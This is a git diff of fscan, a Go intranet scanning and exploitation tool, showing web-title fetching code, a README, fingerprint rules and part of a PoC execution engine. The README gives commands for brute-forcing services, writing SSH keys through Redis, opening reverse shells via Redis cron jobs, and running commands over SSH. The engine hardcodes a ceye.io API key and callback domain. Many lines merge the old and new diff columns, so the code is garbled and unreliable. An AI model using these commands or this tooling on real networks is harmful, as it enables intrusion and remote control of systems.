res.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie) res.Header.Add("Connection", "close")
} else {
res.Header.Set("Cookie", "rememberMe=1")
}
res.Header.Set("Connection", "close")
var client *http.Client
if flag == 1 {
client = lib.ClientNoRedirect
} else {
client = lib.Client
}
resp, err := client.Do(res) resp, err := client.Do(res)
if err == nil { if err == nil {
defer resp.Body.Close() defer resp.Body.Close()
var title string var title string
var text []byte body, _ := ioutil.ReadAll(resp.Body)
body, err := getRespBody(resp) re := regexp.MustCompile("<title>(.*)</title>")
if err != nil { find := re.FindAllStringSubmatch(string(body), -1)
return err, "", CheckData if len(find) > 0 {
title = find[0][1]
} else {
title = "None"
} }
if flag != 2 { if len(title) > 50 {
re := regexp.MustCompile("(?ims)<title>(.*)</title>") title = title[:50]
find := re.FindSubmatch(body)
if len(find) > 1 {
text = find[1]
GetEncoding := func() string { // 判断Content-Type
r1, err := regexp.Compile(`(?im)charset=\s*?([\w-]+)`)
if err != nil {
return ""
}
headerCharset := r1.FindString(resp.Header.Get("Content-Type"))
if headerCharset != "" {
for _, v := range Charsets { // headers 编码优先,所以放在前面
if strings.Contains(strings.ToLower(headerCharset), v) == true {
return v
}
}
}
r2, err := regexp.Compile(`(?im)<meta.*?charset=['"]?([\w-]+)["']?.*?>`)
if err != nil {
return ""
}
htmlCharset := r2.FindString(string(body))
if htmlCharset != "" {
for _, v := range Charsets {
if strings.Contains(strings.ToLower(htmlCharset), v) == true {
return v
}
}
}
return ""
}
encode := GetEncoding()
_, encode1, _ := charset.DetermineEncoding(body, "")
var encode2 string
detector := chardet.NewTextDetector()
detectorstr, _ := detector.DetectBest(body)
if detectorstr != nil {
encode2 = detectorstr.Charset
}
if encode == "gbk" || encode == "gb2312" || encode1 == "gbk" || strings.Contains(strings.ToLower(encode2), "gb") {
titleGBK, err := Decodegbk(text)
if err == nil {
title = string(titleGBK)
}
} else {
title = string(text)
}
} else {
title = "None"
}
title = strings.Trim(title, "\r\n \t")
title = strings.Replace(title, "\n", "", -1)
title = strings.Replace(title, "\r", "", -1)
title = strings.Replace(title, "&nbsp;", " ", -1)
if len(title) > 100 {
title = title[:100]
}
if title == "" {
title = "None"
}
length := resp.Header.Get("Content-Length")
if length == "" {
length = fmt.Sprintf("%v", len(text))
}
result := fmt.Sprintf("[*] WebTitle:%-25v code:%-3v len:%-6v title:%v", Url, resp.StatusCode, length, title)
common.LogSuccess(result)
} }
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)}) result = fmt.Sprintf("WebTitle:%v %v %v", url, resp.StatusCode, title)
redirURL, err1 := resp.Location() common.LogSuccess(result)
if err1 == nil { return err, result
return nil, redirURL.String(), CheckData
}
if resp.StatusCode == 400 && info.Url[:5] != "https" {
return err, "https", CheckData
}
return err, "", CheckData
} }
return err, "https", CheckData return err, ""
} }
return err, "", CheckData return err, ""
}
func Decodegbk(s []byte) ([]byte, error) { // GBK解码
I := bytes.NewReader(s)
O := transform.NewReader(I, simplifiedchinese.GBK.NewDecoder())
d, e := ioutil.ReadAll(O)
if e != nil {
return nil, e
}
return d, nil
}
func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte
if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
return nil, err
}
defer gr.Close()
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(oResp.Body)
if err != nil {
return nil, err
}
defer oResp.Body.Close()
body = raw
}
return body, nil
} }
+37 -85
View File
@@ -1,78 +1,60 @@
# fscan # fscan
# 简介 # 简介
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 一款内网扫描工具,方便一键大保健。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。 支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写钥、计划任务反弹shell、读取win网卡信息、web漏洞扫描等。
趁着最近有空,用go把f-scrack重构了一遍。使用go来编写,也有更好的扩展性及兼容性。
还在逐步增加功能,欢迎各位师傅提意见。
## 主要功能
1.信息搜集:
* 存活探测(icmp)
* 端口扫描
2.爆破功能: ## why
* 各类服务爆破(ssh、smb等) 为什么有LadonGo、x-crack 、tscan、Gscan 这些工具了还要写fscan
* 数据库密码爆破(mysql、mssql、redis、psql等)
3.系统信息、漏洞扫描: 答:
* netbios探测、域控识别 因为用习惯了f-scrack,习惯一条命令跑完所有模块,省去一个个模块单独调用的时间,当然我附加了-m 指定模块的功能。
* 获取目标网卡信息
* 高危漏洞扫描(ms17010等)
4.Web探测功能: ## 最近更新
* webtitle探测 [+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试
* web指纹识别(常见cms、oa框架等) [+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)
* web漏洞扫描(weblogic、st2等,支持xray的poc) [+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
5.漏洞利用: [+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
* redis写公钥或写计划任务 [+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
* ssh命令执行 [+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
6.其他功能:
* 文件保存
## usege ## usege
简单用法 简单用法
``` ```
go run main.go -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/24 (默认使用全部模块) fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描) fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
```
其他用法
```
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块) fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
``` ```
编译命令
``` ```
go build -ldflags="-s -w " -trimpath -h 192.168.1.1/24 (C段)
-h 192.168.1.1/16 (B段)
-h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
-hf ip.txt (以文件导入)
``` ```
完整参数 完整参数
``` ```
-Num int -Num int
poc rate (default 20) poc rate (default 20)
-c string -c string
exec command (ssh) exec command (ssh)
-cookie string
set poc cookie
-debug
debug mode will print more error info
-domain string -domain string
smb domain smb domain
-h string -h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string -hf string
host file, -hs ip.txt host file, -hs ip.txt
-it int
Icmp Threads nums (default 11000)
-m string -m string
Select scan type ,as: -m ssh (default "all") Select scan type ,as: -m ssh (default "all")
-no -no
@@ -84,7 +66,7 @@ go build -ldflags="-s -w " -trimpath
-o string -o string
Outputfile (default "result.txt") Outputfile (default "result.txt")
-p string -p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,270179098,9448,8888,82,8858,1081,8879,21502,9097,8088,8090,8200,91,1080,889,8834,8011,9986,9043,9988,7080,10000,9089,8028,9999,8001,89,8086,8244,9000,2008,8080,7000,8030,8983,8096,8288,18080,8020,8848,808,8099,6868,18088,10004,8443,8042,7008,8161,7001,1082,8095,8087,8880,9096,7074,8044,8048,9087,10008,2020,8003,8069,20000,7688,1010,8092,8484,6648,9100,21501,8009,8360,9060,85,99,8000,9085,9998,8172,8899,9084,9010,9082,10010,7005,12018,87,7004,18004,8098,18098,8002,3505,8018,3000,9094,83,8108,1118,8016,20720,90,8046,9443,8091,7002,8868,8010,18082,8222,7088,8448,18090,3008,12443,9001,9093,7003,8101,14000,7687,8094,9002,8082,9081,8300,9086,8081,8089,8006,443,7007,7777,1888,9090,9095,81,1000,18002,8800,84,9088,7071,7070,8038,9091,8258,9008,9083,16080,88,8085,801,5555,7680,800,8180,9800,10002,18000,18008,98,28018,86,9092,8881,8100,8012,8084,8989,6080,7078,18001,8093,8053,8070,8280,880,92,9099,8181,9981,8060,8004,8083,10001,8097,21000,80,7200,888,7890,3128,8838,8008,8118,9080,2100,7180,9200") Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,11211,27017")
-ping -ping
using ping replace icmp using ping replace icmp
-pocname string -pocname string
@@ -100,19 +82,16 @@ go build -ldflags="-s -w " -trimpath
-rs string -rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666) redis shell to write cron file (as: -rs 192.168.1.1:6666)
-t int -t int
Thread nums (default 600) Thread nums (default 200)
-time int -time int
Set timeout (default 3) Set timeout (default 3)
-u string
url
-uf string
urlfile
-user string -user string
username username
-userf string -userf string
username file username file
-wt int -wt int
Set web timeout (default 5) Set web timeout (default 3)
``` ```
## 运行截图 ## 运行截图
@@ -122,7 +101,7 @@ go build -ldflags="-s -w " -trimpath
![](image/4.png) ![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写钥)` `fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写钥)`
![](image/2.png) ![](image/2.png)
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)` `fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
@@ -131,43 +110,16 @@ go build -ldflags="-s -w " -trimpath
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc` `fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
![](image/2020-12-12-13-34-44.png) ![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)` ## 未来计划
![](image/netbios.png) [*] 合理输出当前扫描进度
[*] 增加内网常见高危漏洞
[*] 增加高危web漏洞扫描
[*] 师傅们觉得有必要加的漏洞,也可以提issue
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
![](image/netbios1.png)
## 参考链接 ## 参考链接
https://github.com/Adminisme/ServerScan https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc https://github.com/jjf012/gopoc
# 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
## 最近更新
[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码
[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等
[+] 2021/4/22 修改webtitle模块,加入gbk解码
[+] 2021/4/21 加入netbios探测、域控识别
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
-70
View File
@@ -1,70 +0,0 @@
package WebScan
import (
"crypto/md5"
"fmt"
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
"regexp"
)
type CheckDatas struct {
Body []byte
Headers string
}
func InfoCheck(Url string, CheckData []CheckDatas) []string {
var matched bool
var infoname []string
for _, data := range CheckData {
for _, rule := range info.RuleDatas {
if rule.Type == "code" {
matched, _ = regexp.MatchString(rule.Rule, string(data.Body))
} else {
matched, _ = regexp.MatchString(rule.Rule, data.Headers)
}
if matched == true {
infoname = append(infoname, rule.Name)
}
}
flag, name := CalcMd5(data.Body)
if flag == true {
infoname = append(infoname, name)
}
}
infoname = removeDuplicateElement(infoname)
if len(infoname) > 0 {
result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infoname)
common.LogSuccess(result)
return infoname
}
return []string{""}
}
func CalcMd5(Body []byte) (bool, string) {
has := md5.Sum(Body)
md5str := fmt.Sprintf("%x", has)
for _, md5data := range info.Md5Datas {
if md5str == md5data.Md5Str {
return true, md5data.Name
}
}
return false, ""
}
func removeDuplicateElement(languages []string) []string {
result := make([]string, 0, len(languages))
temp := map[string]struct{}{}
for _, item := range languages {
if _, ok := temp[item]; !ok {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
+17 -15
View File
@@ -2,39 +2,41 @@ package WebScan
import ( import (
"embed" "embed"
"fmt"
"github.com/shadow1ng/fscan/WebScan/lib" "github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
"net/http" "net/http"
"strings" "time"
) )
//go:embed pocs //go:embed pocs
var Pocs embed.FS var Pocs embed.FS
func WebScan(info *common.HostInfo) { func WebScan(info *common.HostInfo) {
var pocinfo = common.Pocinfo info.PocInfo.Target = info.Url
buf := strings.Split(info.Url,"/") Execute(info.PocInfo)
pocinfo.Target = strings.Join(buf[:3],"/")
for _,infostr := range info.Infostr {
pocinfo.PocName = lib.CheckInfoPoc(infostr)
err := Execute(pocinfo)
if err != nil {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
common.LogError(errlog)
}
}
} }
func Execute(PocInfo common.PocInfo) error { func Execute(PocInfo common.PocInfo) error {
req, err := http.NewRequest("GET", PocInfo.Target, nil) //PocInfo.Proxy = "http://127.0.0.1:8080"
err := lib.InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
if err != nil { if err != nil {
return err return err
} }
req, err := http.NewRequest("GET", PocInfo.Target, nil)
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
if err != nil {
return err
}
if PocInfo.Cookie != "" { if PocInfo.Cookie != "" {
req.Header.Set("Cookie", PocInfo.Cookie) req.Header.Set("Cookie", PocInfo.Cookie)
} }
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
//PocInfo.PocName = "weblogic-cve-2017-10271.yml"
if PocInfo.PocName != "" {
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
} else {
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, "")
}
return nil return nil
} }
-176
View File
@@ -1,176 +0,0 @@
package info
type RuleData struct {
Name string
Type string
Rule string
}
type Md5Data struct {
Name string
Md5Str string
}
type PocData struct {
Name string
Alias string
}
var RuleDatas = []RuleData{
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
{"宝塔-BT.cn", "code", "(app.bt.cn/static/app.png|安全入口校验失败)"},
{"Nexus", "code", "(Nexus Repository Manager)"},
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
{"Harbor", "code", "(<title>Harbor</title>)"},
{"Harbor", "cookie", "(harbor-lang)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png)"},
{"禅道", "cookie", "(zentaosid)"},
{"协众OA", "code", "(Powered by 协众OA)"},
{"协众OA", "cookie", "(CNOAOASESSID)"},
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
{"atmail-WebMail", "cookie", "(atmail6)"},
{"atmail-WebMail", "code", "(Powered by Atmail)"},
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin)"},
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
{"致远OA", "code", "(/seeyon/common/)"},
{"discuz", "code", "(content=\"Discuz! X\")"},
{"Typecho", "code", "(Typecho</a>)"},
{"金蝶EAS", "code", "(easSessionId)"},
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
{"H3C-AM8000", "code", "(AM8000)"},
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
{"H3C公司产品", "code", "([email protected])"},
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
{"H3C ER5100", "code", "(ER5100系统管理)"},
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
{"CISCO_EPC3925", "code", "(Docsis_system)"},
{"CISCO ASR", "code", "(CISCO ASR)"},
{"H3C ER3200", "code", "(ER3200系统管理)"},
{"万户ezOFFICE", "headers", "(LocLan)"},
{"万户网络", "code", "(css/css_whir.css)"},
{"Spark_Master", "code", "(Spark Master at)"},
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
{"360主机卫士", "headers", "(zhuji.360.cn)"},
{"Nagios", "headers", "(Nagios Access)"},
{"H3C ER8300", "code", "(ER8300系统管理)"},
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
{"华为 MCU", "code", "(McuR5-min.js)"},
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
{"泛微OA", "headers", "(ecology_JSessionid)"},
{"泛微OA", "code", "(/spa/portal/public/index.js)"},
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
{"360网站卫士", "code", "(360wzb)"},
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
{"zabbix", "cookie", "(zbx_sessionid)"},
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA)"},
{"CISCO_VPN", "headers", "(webvpn)"},
{"360站长平台", "code", "(360-site-verification)"},
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
{"o2security_vpn", "headers", "(client_param=install_active)"},
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
{"CISCO-CX20", "code", "(CISCO-CX20)"},
{"H3C ER5200", "code", "(ER5200系统管理)"},
{"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
{"H3C ER3100", "code", "(ER3100系统管理)"},
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
{"360webfacil_360WebManager", "code", "(publico/template/)"},
{"Citrix_Netscaler", "code", "(ns_af)"},
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
{"H3C ER3260", "code", "(ER3260系统管理)"},
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
{"exchange", "code", "(/owa/auth.owa)"},
{"Spark_Worker", "code", "(Spark Worker at)"},
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
{"Citrix-ConfProxy", "code", "(confproxy)"},
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
{"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
{"华为(HUAWEIUSG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
{"H3C ER6300", "code", "(ER6300系统管理)"},
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
{"H3C ER2100", "code", "(ER2100系统管理)"},
{"绿盟下一代防火墙", "code", "(NSFOCUS NF)"},
{"jira", "code", "(jira.webresources)"},
{"金和协同管理平台", "code", "(金和协同管理平台)"},
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
{"linksys-vpn", "headers", "(linksys-vpn)"},
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版)"},
{"华为(HUAWEISecoway设备", "code", "(Secoway)"},
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
{"Jboss", "headers", "(JBoss)"},
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
{"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
{"ThinkPHP", "headers", "(ThinkPHP)"},
{"ThinkPHP", "code", "(/Public/static/js/)"},
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
{"Laravel", "headers", "(laravel_session)"},
{"DWR", "code", "(dwr/engine.js)"},
{"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
{"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
{"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
{"Jenkins", "code", "(Jenkins)"},
{"红帆OA", "code", "(iOffice)"},
{"VMware vSphere", "code", "(VMware vSphere)"},
{"打印机", "code", "(打印机|media/canon.gif)"},
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization)"},
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
}
var Md5Datas = []Md5Data{
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
{"锐捷网关", "d8d7c9138e93d43579ebf2e384745ba8"},
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
{"SprintBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
{"通达OA", "ed0044587917c76d08573577c8b72883"},
{"泛微OA", "41eca7a9245394106a09b2534d8030df"},
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
{"GitLab", "85c754581e1d4b628be5b7712c042224"},
{"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
}
var PocDatas = []PocData{
{"致远OA","seeyon"},
{"泛微OA","weaver-oa"},
{"通达OA","tongda"},
{"ThinkPHP","thinkphp"},
{"Nexus","nexus"},
{"齐治堡垒机","qizhi"},
{"weaver-ebridge","weaver-ebridge"},
{"weblogic","weblogic"},
{"zabbix","zabbix"},
{"VMware vSphere","vmware"},
{"Jboss","jboss"},
}
-702
View File
@@ -1,702 +0,0 @@
package lib
import (
"embed"
"fmt"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
"math/rand"
"net/http"
"net/url"
"regexp"
"sort"
"strings"
"sync"
"time"
)
var (
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
ceyeDomain = "7wtusr.ceye.io"
)
type Task struct {
Req *http.Request
Poc *Poc
}
func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string) {
tasks := make(chan Task)
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
go func() {
for task := range tasks {
isVul, _ := executePoc(task.Req, task.Poc)
if isVul {
result := fmt.Sprintf("[+] %s %s", task.Req.URL, task.Poc.Name)
common.LogSuccess(result)
}
wg.Done()
}
}()
}
for _, poc := range LoadMultiPoc(Pocs, pocname) {
task := Task{
Req: req,
Poc: poc,
}
wg.Add(1)
tasks <- task
}
wg.Wait()
close(tasks)
}
func executePoc(oReq *http.Request, p *Poc) (bool, error) {
c := NewEnvOption()
c.UpdateCompileOptions(p.Set)
if len(p.Sets) > 0 {
setMap := make(map[string]string)
for k := range p.Sets {
setMap[k] = p.Sets[k][0]
}
c.UpdateCompileOptions(setMap)
}
env, err := NewEnv(&c)
if err != nil {
//fmt.Printf("environment creation error: %s\n", err)
return false, err
}
req, err := ParseRequest(oReq)
if err != nil {
//fmt.Println("ParseRequest error",err)
return false, err
}
variableMap := make(map[string]interface{})
variableMap["request"] = req
// 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload
keys := make([]string, 0)
keys1 := make([]string, 0)
for k := range p.Set {
if strings.Contains(strings.ToLower(p.Set[k]), "random") && strings.Contains(strings.ToLower(p.Set[k]), "(") {
keys = append(keys, k) //优先放入调用random系列函数的变量
} else {
keys1 = append(keys1, k)
}
}
sort.Strings(keys)
sort.Strings(keys1)
keys = append(keys, keys1...)
for _, k := range keys {
expression := p.Set[k]
if k != "payload" {
if expression == "newReverse()" {
variableMap[k] = newReverse()
continue
}
out, err := Evaluate(env, expression, variableMap)
if err != nil {
//fmt.Println(p.Name," poc_expression error",err)
variableMap[k] = expression
continue
}
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = int(value)
case []uint8:
